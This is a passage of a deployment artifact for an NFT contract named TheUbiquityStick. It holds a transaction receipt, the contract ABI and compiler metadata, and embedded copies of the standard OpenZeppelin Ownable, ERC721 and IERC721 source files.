"0xd0698412af2804704ee773126856d1e672f80f152592de7415184555498293de", - "transactionHash": "0xc18e5c0fd1d54aad15be30d20b1cf8d45c9a28f69d90b948a26083baf7ab38b4", - "logs": [ - { - "transactionIndex": 136, - "blockNumber": 13856879, - "transactionHash": "0xc18e5c0fd1d54aad15be30d20b1cf8d45c9a28f69d90b948a26083baf7ab38b4", - "address": "0xaaB265CCeB890C0e6E09Aa6F5ee63b33De649374", - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 204, - "blockHash": "0xd0698412af2804704ee773126856d1e672f80f152592de7415184555498293de" - } - ], - "blockNumber": 13856879, - "cumulativeGasUsed": "10866297", - "status": 1, - "byzantium": true - }, - "args": [], - "solcInputHash": "8bf0ab27bd8c6fd331076a683753223e", - "metadata": "{\"compiler\":{\"version\":\"0.8.9+commit.e5eed63a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"approved\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"count\",\"type\":\"uint256\"}],\"name\":\"batchSafeMint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"getApproved\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"gold\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"minter\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"ownerOf\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"}],\"name\":\"safeMint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"minter_\",\"type\":\"address\"}],\"name\":\"setMinter\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"ntype\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"tokenURI_\",\"type\":\"string\"}],\"name\":\"setTokenURI\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"tokenByIndex\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"tokenIdNext\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"tokenOfOwnerByIndex\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"tokenURI\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"uri\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"tokenId\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"See {IERC721-approve}.\"},\"balanceOf(address)\":{\"details\":\"See {IERC721-balanceOf}.\"},\"burn(uint256)\":{\"details\":\"Burns `tokenId`. See {ERC721-_burn}. Requirements: - The caller must own `tokenId` or be an approved operator.\"},\"getApproved(uint256)\":{\"details\":\"See {IERC721-getApproved}.\"},\"isApprovedForAll(address,address)\":{\"details\":\"See {IERC721-isApprovedForAll}.\"},\"name()\":{\"details\":\"See {IERC721Metadata-name}.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"ownerOf(uint256)\":{\"details\":\"See {IERC721-ownerOf}.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"safeTransferFrom(address,address,uint256)\":{\"details\":\"See {IERC721-safeTransferFrom}.\"},\"safeTransferFrom(address,address,uint256,bytes)\":{\"details\":\"See {IERC721-safeTransferFrom}.\"},\"setApprovalForAll(address,bool)\":{\"details\":\"See {IERC721-setApprovalForAll}.\"},\"symbol()\":{\"details\":\"See {IERC721Metadata-symbol}.\"},\"tokenByIndex(uint256)\":{\"details\":\"See {IERC721Enumerable-tokenByIndex}.\"},\"tokenOfOwnerByIndex(address,uint256)\":{\"details\":\"See {IERC721Enumerable-tokenOfOwnerByIndex}.\"},\"tokenURI(uint256)\":{\"details\":\"See {IERC721Metadata-tokenURI}.\"},\"totalSupply()\":{\"details\":\"See {IERC721Enumerable-totalSupply}.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC721-transferFrom}.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/TheUbiquityStick.sol\":\"TheUbiquityStick\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/Ownable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which provides a basic access control mechanism, where\\n * there is an account (an owner) that can be granted exclusive access to\\n * specific functions.\\n *\\n * By default, the owner account will be the one that deploys the contract. This\\n * can later be changed with {transferOwnership}.\\n *\\n * This module is used through inheritance. It will make available the modifier\\n * `onlyOwner`, which can be applied to your functions to restrict their use to\\n * the owner.\\n */\\nabstract contract Ownable is Context {\\n address private _owner;\\n\\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\\n\\n /**\\n * @dev Initializes the contract setting the deployer as the initial owner.\\n */\\n constructor() {\\n _transferOwnership(_msgSender());\\n }\\n\\n /**\\n * @dev Returns the address of the current owner.\\n */\\n function owner() public view virtual returns (address) {\\n return _owner;\\n }\\n\\n /**\\n * @dev Throws if called by any account other than the owner.\\n */\\n modifier onlyOwner() {\\n require(owner() == _msgSender(), \\\"Ownable: caller is not the owner\\\");\\n _;\\n }\\n\\n /**\\n * @dev Leaves the contract without owner. It will not be possible to call\\n * `onlyOwner` functions anymore. Can only be called by the current owner.\\n *\\n * NOTE: Renouncing ownership will leave the contract without an owner,\\n * thereby removing any functionality that is only available to the owner.\\n */\\n function renounceOwnership() public virtual onlyOwner {\\n _transferOwnership(address(0));\\n }\\n\\n /**\\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\\n * Can only be called by the current owner.\\n */\\n function transferOwnership(address newOwner) public virtual onlyOwner {\\n require(newOwner != address(0), \\\"Ownable: new owner is the zero address\\\");\\n _transferOwnership(newOwner);\\n }\\n\\n /**\\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\\n * Internal function without access restriction.\\n */\\n function _transferOwnership(address newOwner) internal virtual {\\n address oldOwner = _owner;\\n _owner = newOwner;\\n emit OwnershipTransferred(oldOwner, newOwner);\\n }\\n}\\n\",\"keccak256\":\"0x24e0364e503a9bbde94c715d26573a76f14cd2a202d45f96f52134ab806b67b9\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/ERC721.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC721.sol\\\";\\nimport \\\"./IERC721Receiver.sol\\\";\\nimport \\\"./extensions/IERC721Metadata.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/Strings.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\\n * {ERC721Enumerable}.\\n */\\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\\n using Address for address;\\n using Strings for uint256;\\n\\n // Token name\\n string private _name;\\n\\n // Token symbol\\n string private _symbol;\\n\\n // Mapping from token ID to owner address\\n mapping(uint256 => address) private _owners;\\n\\n // Mapping owner address to token count\\n mapping(address => uint256) private _balances;\\n\\n // Mapping from token ID to approved address\\n mapping(uint256 => address) private _tokenApprovals;\\n\\n // Mapping from owner to operator approvals\\n mapping(address => mapping(address => bool)) private _operatorApprovals;\\n\\n /**\\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\\n */\\n constructor(string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return\\n interfaceId == type(IERC721).interfaceId ||\\n interfaceId == type(IERC721Metadata).interfaceId ||\\n super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC721-balanceOf}.\\n */\\n function balanceOf(address owner) public view virtual override returns (uint256) {\\n require(owner != address(0), \\\"ERC721: balance query for the zero address\\\");\\n return _balances[owner];\\n }\\n\\n /**\\n * @dev See {IERC721-ownerOf}.\\n */\\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\\n address owner = _owners[tokenId];\\n require(owner != address(0), \\\"ERC721: owner query for nonexistent token\\\");\\n return owner;\\n }\\n\\n /**\\n * @dev See {IERC721Metadata-name}.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev See {IERC721Metadata-symbol}.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev See {IERC721Metadata-tokenURI}.\\n */\\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\\n require(_exists(tokenId), \\\"ERC721Metadata: URI query for nonexistent token\\\");\\n\\n string memory baseURI = _baseURI();\\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \\\"\\\";\\n }\\n\\n /**\\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\\n * by default, can be overriden in child contracts.\\n */\\n function _baseURI() internal view virtual returns (string memory) {\\n return \\\"\\\";\\n }\\n\\n /**\\n * @dev See {IERC721-approve}.\\n */\\n function approve(address to, uint256 tokenId) public virtual override {\\n address owner = ERC721.ownerOf(tokenId);\\n require(to != owner, \\\"ERC721: approval to current owner\\\");\\n\\n require(\\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\\n \\\"ERC721: approve caller is not owner nor approved for all\\\"\\n );\\n\\n _approve(to, tokenId);\\n }\\n\\n /**\\n * @dev See {IERC721-getApproved}.\\n */\\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\\n require(_exists(tokenId), \\\"ERC721: approved query for nonexistent token\\\");\\n\\n return _tokenApprovals[tokenId];\\n }\\n\\n /**\\n * @dev See {IERC721-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n _setApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC721-isApprovedForAll}.\\n */\\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[owner][operator];\\n }\\n\\n /**\\n * @dev See {IERC721-transferFrom}.\\n */\\n function transferFrom(\\n address from,\\n address to,\\n uint256 tokenId\\n ) public virtual override {\\n //solhint-disable-next-line max-line-length\\n require(_isApprovedOrOwner(_msgSender(), tokenId), \\\"ERC721: transfer caller is not owner nor approved\\\");\\n\\n _transfer(from, to, tokenId);\\n }\\n\\n /**\\n * @dev See {IERC721-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 tokenId\\n ) public virtual override {\\n safeTransferFrom(from, to, tokenId, \\\"\\\");\\n }\\n\\n /**\\n * @dev See {IERC721-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 tokenId,\\n bytes memory _data\\n ) public virtual override {\\n require(_isApprovedOrOwner(_msgSender(), tokenId), \\\"ERC721: transfer caller is not owner nor approved\\\");\\n _safeTransfer(from, to, tokenId, _data);\\n }\\n\\n /**\\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\\n *\\n * `_data` is additional data, it has no specified format and it is sent in call to `to`.\\n *\\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\\n * implement alternative mechanisms to perform token transfer, such as signature-based.\\n *\\n * Requirements:\\n *\\n * - `from` cannot be the zero address.\\n * - `to` cannot be the zero address.\\n * - `tokenId` token must exist and be owned by `from`.\\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\\n *\\n * Emits a {Transfer} event.\\n */\\n function _safeTransfer(\\n address from,\\n address to,\\n uint256 tokenId,\\n bytes memory _data\\n ) internal virtual {\\n _transfer(from, to, tokenId);\\n require(_checkOnERC721Received(from, to, tokenId, _data), \\\"ERC721: transfer to non ERC721Receiver implementer\\\");\\n }\\n\\n /**\\n * @dev Returns whether `tokenId` exists.\\n *\\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\\n *\\n * Tokens start existing when they are minted (`_mint`),\\n * and stop existing when they are burned (`_burn`).\\n */\\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\\n return _owners[tokenId] != address(0);\\n }\\n\\n /**\\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\\n *\\n * Requirements:\\n *\\n * - `tokenId` must exist.\\n */\\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\\n require(_exists(tokenId), \\\"ERC721: operator query for nonexistent token\\\");\\n address owner = ERC721.ownerOf(tokenId);\\n return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\\n }\\n\\n /**\\n * @dev Safely mints `tokenId` and transfers it to `to`.\\n *\\n * Requirements:\\n *\\n * - `tokenId` must not exist.\\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\\n *\\n * Emits a {Transfer} event.\\n */\\n function _safeMint(address to, uint256 tokenId) internal virtual {\\n _safeMint(to, tokenId, \\\"\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\\n */\\n function _safeMint(\\n address to,\\n uint256 tokenId,\\n bytes memory _data\\n ) internal virtual {\\n _mint(to, tokenId);\\n require(\\n _checkOnERC721Received(address(0), to, tokenId, _data),\\n \\\"ERC721: transfer to non ERC721Receiver implementer\\\"\\n );\\n }\\n\\n /**\\n * @dev Mints `tokenId` and transfers it to `to`.\\n *\\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\\n *\\n * Requirements:\\n *\\n * - `tokenId` must not exist.\\n * - `to` cannot be the zero address.\\n *\\n * Emits a {Transfer} event.\\n */\\n function _mint(address to, uint256 tokenId) internal virtual {\\n require(to != address(0), \\\"ERC721: mint to the zero address\\\");\\n require(!_exists(tokenId), \\\"ERC721: token already minted\\\");\\n\\n _beforeTokenTransfer(address(0), to, tokenId);\\n\\n _balances[to] += 1;\\n _owners[tokenId] = to;\\n\\n emit Transfer(address(0), to, tokenId);\\n }\\n\\n /**\\n * @dev Destroys `tokenId`.\\n * The approval is cleared when the token is burned.\\n *\\n * Requirements:\\n *\\n * - `tokenId` must exist.\\n *\\n * Emits a {Transfer} event.\\n */\\n function _burn(uint256 tokenId) internal virtual {\\n address owner = ERC721.ownerOf(tokenId);\\n\\n _beforeTokenTransfer(owner, address(0), tokenId);\\n\\n // Clear approvals\\n _approve(address(0), tokenId);\\n\\n _balances[owner] -= 1;\\n delete _owners[tokenId];\\n\\n emit Transfer(owner, address(0), tokenId);\\n }\\n\\n /**\\n * @dev Transfers `tokenId` from `from` to `to`.\\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - `tokenId` token must be owned by `from`.\\n *\\n * Emits a {Transfer} event.\\n */\\n function _transfer(\\n address from,\\n address to,\\n uint256 tokenId\\n ) internal virtual {\\n require(ERC721.ownerOf(tokenId) == from, \\\"ERC721: transfer of token that is not own\\\");\\n require(to != address(0), \\\"ERC721: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(from, to, tokenId);\\n\\n // Clear approvals from the previous owner\\n _approve(address(0), tokenId);\\n\\n _balances[from] -= 1;\\n _balances[to] += 1;\\n _owners[tokenId] = to;\\n\\n emit Transfer(from, to, tokenId);\\n }\\n\\n /**\\n * @dev Approve `to` to operate on `tokenId`\\n *\\n * Emits a {Approval} event.\\n */\\n function _approve(address to, uint256 tokenId) internal virtual {\\n _tokenApprovals[tokenId] = to;\\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\\n }\\n\\n /**\\n * @dev Approve `operator` to operate on all of `owner` tokens\\n *\\n * Emits a {ApprovalForAll} event.\\n */\\n function _setApprovalForAll(\\n address owner,\\n address operator,\\n bool approved\\n ) internal virtual {\\n require(owner != operator, \\\"ERC721: approve to caller\\\");\\n _operatorApprovals[owner][operator] = approved;\\n emit ApprovalForAll(owner, operator, approved);\\n }\\n\\n /**\\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\\n * The call is not executed if the target address is not a contract.\\n *\\n * @param from address representing the previous owner of the given token ID\\n * @param to target address that will receive the tokens\\n * @param tokenId uint256 ID of the token to be transferred\\n * @param _data bytes optional data to send along with the call\\n * @return bool whether the call correctly returned the expected magic value\\n */\\n function _checkOnERC721Received(\\n address from,\\n address to,\\n uint256 tokenId,\\n bytes memory _data\\n ) private returns (bool) {\\n if (to.isContract()) {\\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\\n return retval == IERC721Receiver.onERC721Received.selector;\\n } catch (bytes memory reason) {\\n if (reason.length == 0) {\\n revert(\\\"ERC721: transfer to non ERC721Receiver implementer\\\");\\n } else {\\n assembly {\\n revert(add(32, reason), mload(reason))\\n }\\n }\\n }\\n } else {\\n return true;\\n }\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning.\\n *\\n * Calling conditions:\\n *\\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\\n * transferred to `to`.\\n * - When `from` is zero, `tokenId` will be minted for `to`.\\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 tokenId\\n ) internal virtual {}\\n}\\n\",\"keccak256\":\"0x81c02855bc239e16ec09eee000a8bec691424c715188d6d881037e69c45414c4\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/IERC721.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC721 compliant contract.\\n */\\ninterface IERC721 is IERC165 {\\n /**\\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\\n\\n /**\\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\\n */\\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\\n\\n /**\\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\\n */\\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\\n\\n /**\\n * @dev Returns the number of tokens in ``owner``'s account.\\n */\\n function balanceOf(address owner) external view returns (uint256 balance);\\n\\n /**\\n * @dev Returns the owner of the `tokenId` token.\\n *\\n * Requirements:\\n *\\n * - `tokenId` must exist.\\n */\\n function ownerOf(uint256 tokenId) external view returns (address owner);\\n\\n /**\\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\\n *\\n * Requirements:\\n *\\n * - `from` cannot be the zero address.\\n * - `to` cannot be the zero address.\\n * - `tokenId` token must exist and be owned by `from`.\\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\\n *\\n * Emits a {Transfer} event.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 tokenId\\n ) external;\\n\\n /**\\n * @dev Transfers `tokenId` token from `from` to `to`.\\n *\\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\\n *\\n * Requirements:\\n *\\n * - `from` cannot be the zero address.\\n * - `to` cannot be the zero address.\\n * - `tokenId` token must be owned by `from`.\\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address from,\\n address to,\\n uint256 tokenId\\n ) external;\\n\\n /**\\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\\n * The approval is cleared when the token is transferred.\\n *\\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\\n *\\n * Requirements:\\n *\\n * - The caller must own the token or be an approved operator.\\n * - `tokenId` must exist.\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address to, uint256 tokenId) external;\\n\\n /**\\n * @dev Returns the account approved for `tokenId` token.\\n *\\n * Requirements:\\n *\\n * - `tokenId` must exist.\\n */\\n function getApproved(uint256 tokenId) external view returns (address operator);\\n\\n /**\\n * @dev Approve or remove `operator` as an operator for the caller.\\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\\n *\\n * Requirements:\\n *\\n * - The `operator` cannot be the caller.\\n *\\n * Emits an {ApprovalForAll} event.\\n */\\n function setApprovalForAll(address operator, bool _approved) external;\\n\\n /**\\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\\n *\\n * See {setApprovalForAll}\\n */\\n function isApprovedForAll(address owner, address operator) external view returns (bool);\\n\\n /**\\n * @dev Safely transfers `tokenId` token from `from` to `to`.\\n *\\n * Requirements:\\n *\\n * - `from` cannot be the zero address.\\n * - `to` cannot be the zero address.\\n * - `tokenId` token must exist and be owned by `from`.\\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\\n *\\n * Emits a {Transfer} event.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 tokenId,\\n bytes calldata data\\n ) 